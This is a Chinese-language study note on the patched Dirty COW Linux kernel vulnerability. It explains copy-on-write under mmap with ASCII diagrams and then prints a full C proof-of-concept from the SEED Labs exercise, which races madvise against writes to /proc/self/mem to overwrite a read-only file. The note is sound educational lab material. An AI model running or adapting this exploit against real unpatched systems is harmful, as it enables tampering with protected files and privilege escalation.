Dirty COW🐮

这一部分作为已经修复的系统漏洞，放到这里有点不太合适了，但有一次上课老师提到，翻到目录时又突然看到，所以就想简单记录一下

mmap

  file                             memory
┌─────────┐─────────\        ┌──────────────┐   
│         │          \       │              │
│         │  change   \───┌──┴──────────────┴──┐ 
│         │<----\         │                    │
│         │      \-----\  │                    ├──────────> process  
└─────────┘─────────\   \-│                    │
                     \    │                    │
                      \───└──┬──────────────┬──┘ 
                             │              │
                             │              │
                             │              │
                             │              │
                             │              │
                             │              │ 
                             └──────────────┘   

当进程使用MAP_SHARED将文件映射到虚拟内存中时，文件在虚拟内存上的修改，也会反映到实际物理内存中;所以当进程想要有私有进程，不希望修改被其它文件看到时，可以使用MAP_PRIVATE，在修改时，在内存中做一份文件的私有拷贝，并且该拷贝是写时拷贝(COW):只有在进程做写操作时，需要将映射到内存中的内容拷贝

  file                             memory
┌─────────┐─────────\        ┌──────────────┐   
│         │          \       │              │
│         │  change   \───┌──┴──────────────┴──┐ 
│         │<----\         │                    │
│         │      \-----\  │                    ├──────────> process  
└─────────┘─────────\   \-│                    │
                     \    │                    │
                      \───└──┬──────────────┬─┬┘ 
                             │              │ │  
                             │              │ │
                             │              │ │COW(if MAP_PRIVATE)
                             │              │ │
                             │              │ │
                             │              │ │
                             │              │ \/
                          ┌──┴──────────────┴──┐ 
                          │                    │  
                          │                    ├──────────> process  
                          │                    │               │ 
                          │                    │<──────────────┘ 
                          └──┬──────────────┬──┘     change
                             │              │ 
                             │              │ 
                             └──────────────┘   

使用madvise()函数，可以使得复制出的私有内存空间被丢弃，并将进程的虚拟内存页表，重新指回最初的内存空间，此时在修改时，就可以改变物理空间中的实际内容，达到修改只读文件的目的：

mmap(...,MAP_PRIVATE) --- write() ---> copy the memory ---> update the pagea table ---> write 
into memory

# bug =>                                                                    
                                                                              
mmap(...,MAP_PRIVATE) --- write() ---> copy the memory ---> update the pagea table 
           
         *****exploit*****
--- madvice(...,MADV_DONTNEED) ---> write into memory
 

Example:

#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char *argv[])
{
  pthread_t pth1,pth2;
  struct stat st;
  int file_size;

  // Open the target file in the read-only mode.
  int f=open("/xxx", O_RDONLY);

  // Map the file to COW memory using MAP_PRIVATE.
  fstat(f, &st);
  file_size = st.st_size;
  map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

  // Find the position of the target area
  char *position = strstr(map, "222222");                        

  // We have to do the attack using two threads.
  pthread_create(&pth1, NULL, madviseThread, (void  *)file_size); 
  pthread_create(&pth2, NULL, writeThread, position);             

  // Wait for the threads to finish.
  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}

void *writeThread(void *arg)
{
  char *content= "******";
  off_t offset = (off_t) arg;

  int f=open("/proc/self/mem", O_RDWR);
  while(1) {
    // Move the file pointer to the corresponding position.
    lseek(f, offset, SEEK_SET);
    // Write to the memory.
    write(f, content, strlen(content));
  }
}

void *madviseThread(void *arg)
{
  int file_size = (int) arg;
  while(1){
      madvise(map, file_size, MADV_DONTNEED);
  }
}

Reference: https://seedsecuritylabs.org/Labs_20.04/Software/Dirty_COW/

(在Ubuntu16.04中，该漏洞已修复)